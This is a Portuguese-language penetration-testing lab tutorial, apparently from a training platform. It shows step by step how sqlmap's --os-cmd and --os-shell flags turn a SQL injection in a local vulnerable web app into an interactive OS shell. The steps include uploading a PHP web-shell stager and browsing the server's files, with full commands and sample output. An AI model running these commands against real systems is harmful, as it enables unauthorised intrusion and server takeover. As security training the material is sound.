Obtenha um Shell Interativo do Sistema Operacional com sqlmap

Kali LinuxBeginner
Pratique Agora

Introdução

Neste laboratório, você aprenderá a usar o sqlmap, uma popular ferramenta de teste de penetração de código aberto, para escalar uma vulnerabilidade de injeção de SQL para um shell interativo completo do sistema operacional. Embora o sqlmap seja excelente para enumerar e exfiltrar dados de bancos de dados, suas capacidades se estendem ao ganho de controle sobre o servidor subjacente.

Focaremos no recurso --os-shell, que tenta fazer upload de um web shell (um stager) para o servidor alvo, fornecendo a você um prompt de comando para interagir diretamente com o sistema remoto. Para este laboratório, uma aplicação web simples vulnerável a injeção de SQL foi configurada e está em execução em sua máquina local.

Confirmar a Possibilidade de Execução de Comandos no SO

Nesta etapa, antes de tentar obter um shell interativo completo, primeiro verificaremos se podemos executar comandos no sistema operacional alvo. Esta é uma verificação preliminar crucial. Podemos conseguir isso usando o flag --os-cmd no sqlmap, que instrui a ferramenta a executar um único comando especificado.

Usaremos o comando whoami, que imprime o nome de usuário efetivo do usuário atual. Também usaremos o flag --batch para permitir que o sqlmap seja executado com suas respostas padrão para todas as perguntas interativas, tornando o processo mais rápido.

Execute o seguinte comando em seu terminal:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-cmd="whoami" --batch

Você verá muita saída enquanto o sqlmap testa o alvo. Aguarde a conclusão. Perto do final da saída, você deverá ver o resultado do comando whoami.

...
[22:10:30] [INFO] fetching command output
[22:10:30] [INFO] retrieved: 'labex\n'
...
command execution stdout:
labex
...

A saída labex confirma que podemos executar comandos com sucesso no servidor remoto como o usuário labex.

Usar o Flag --os-shell para Solicitar um Shell Interativo

Nesta etapa, prepararemos o comando para obter um shell interativo completo. Agora que confirmamos que a execução de comandos no SO é possível, podemos prosseguir com mais confiança.

O flag do sqlmap para isso é --os-shell. Quando este flag é usado, o sqlmap tentará fazer upload de um "stager", que é um pequeno pedaço de código (neste caso, um web shell PHP), para um diretório gravável no servidor web. Este stager então fornece o mecanismo para um shell de comando interativo.

O comando que usaremos é:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

Quando você executar este comando na próxima etapa, o sqlmap o guiará por alguns prompts para determinar a melhor maneira de fazer o upload do stager. Não executaremos o comando nesta etapa, apenas entenderemos seu propósito.

Executar o Comando para Iniciar o Shell

Nesta etapa, você executará o comando para iniciar o shell interativo. O sqlmap solicitará sua entrada para determinar a linguagem da aplicação web e a raiz do documento do servidor (a pasta principal do site).

Primeiro, execute o comando em seu terminal:

sqlmap -u "http://127.0.0.1:8000/index.php?id=1" --os-shell

O sqlmap iniciará e poderá fazer algumas perguntas.

  1. Ele pode perguntar sobre o DBMS back-end. Você pode pressionar Enter para aceitar o padrão que ele provavelmente já detectou (por exemplo, SQLite).

  2. Em seguida, ele perguntará pela raiz do documento do servidor web. Esta é uma etapa crítica. O sqlmap precisa saber um diretório gravável para fazer o upload de seu web shell. Com base em nosso script de configuração, o caminho correto é /home/labex/project/vulnerable_app.

    [?] what is the web server document root? [/var/www/html] >

    Digite o seguinte caminho e pressione Enter:

    /home/labex/project/vulnerable_app

Após fornecer o caminho, o sqlmap tentará fazer o upload do stager. Se for bem-sucedido, você verá mensagens indicando o upload e será direcionado para um novo prompt: os-shell>.

...
[22:15:45] [INFO] trying to upload stager shell to '/home/labex/project/vulnerable_app'
[22:15:45] [INFO] uploading stager shell to '/home/labex/project/vulnerable_app/tmpueyge.php'
[22:15:45] [INFO] stager shell uploaded
os-shell>

Este prompt os-shell> é o seu shell interativo no servidor remoto.

Interagir com o Sistema Remoto via Prompt do Shell do sqlmap

Nesta etapa, você interagirá com o sistema remoto usando o prompt os-shell> que você acabou de obter. Este prompt não é o seu terminal local; cada comando que você digitar aqui é enviado para o servidor remoto e executado.

Vamos executar alguns comandos simples para verificar nosso acesso.

Primeiro, descubra o diretório de trabalho atual no servidor remoto digitando pwd e pressionando Enter.

os-shell > pwd

A saída deve ser o diretório onde o sqlmap fez o upload de seu arquivo stager.

/home/labex/project/vulnerable_app

Em seguida, confirme sua identidade de usuário no sistema remoto novamente digitando whoami.

os-shell > whoami

A saída deve ser novamente labex.

labex

Você agora executou com sucesso comandos interativamente no sistema alvo.

Executar Múltiplos Comandos e Explorar o Sistema de Arquivos

Nesta etapa, você realizará uma exploração adicional do sistema de arquivos remoto. Um shell interativo é poderoso porque permite navegar por diretórios, visualizar arquivos e entender a estrutura do servidor.

Primeiro, liste o conteúdo do diretório atual (/home/labex/project/vulnerable_app) em formato longo usando o comando ls -l.

os-shell > ls -l

Você verá os arquivos neste diretório, incluindo index.php, users.db e o web shell PHP temporário carregado pelo sqlmap (por exemplo, tmpueyge.php).

total 20
-rw-r--r-- 1 labex labex  539 Dec 10 22:05 index.php
-rw-r--r-- 1 labex labex   45 Dec 10 22:15 tmpueyge.php
-rw-r--r-- 1 labex labex 12288 Dec 10 22:05 users.db

Agora, vamos tentar navegar pelo sistema de arquivos. Suba para o diretório pai (/home/labex/project) usando o comando cd ...

os-shell > cd ..

Você não verá nenhuma saída, mas seu diretório atual no servidor remoto mudou. Verifique isso listando o conteúdo do novo diretório.

os-shell > ls

Você deverá ver o diretório vulnerable_app listado.

vulnerable_app

Agora você está livre para explorar o sistema de arquivos dentro das permissões do usuário labex. Para sair do shell do sqlmap e retornar ao seu terminal normal, basta digitar exit e pressionar Enter.

Resumo

Neste laboratório, você escalou com sucesso uma vulnerabilidade de injeção de SQL para obter acesso completo à linha de comando de um servidor remoto. Você aprendeu a:

  • Usar o flag --os-cmd do sqlmap para confirmar que a execução de comandos do sistema operacional é possível.
  • Empregar o flag --os-shell para instruir o sqlmap a estabelecer um shell interativo.
  • Fornecer informações necessárias, como o document root do servidor web, para facilitar o upload de um web shell.
  • Interagir com o sistema remoto executando comandos como pwd, whoami, ls e cd através do shell do sqlmap.

Este exercício demonstra o risco de segurança crítico representado por vulnerabilidades de injeção de SQL, pois elas podem levar não apenas ao roubo de dados, mas a uma completa comprometimento do sistema.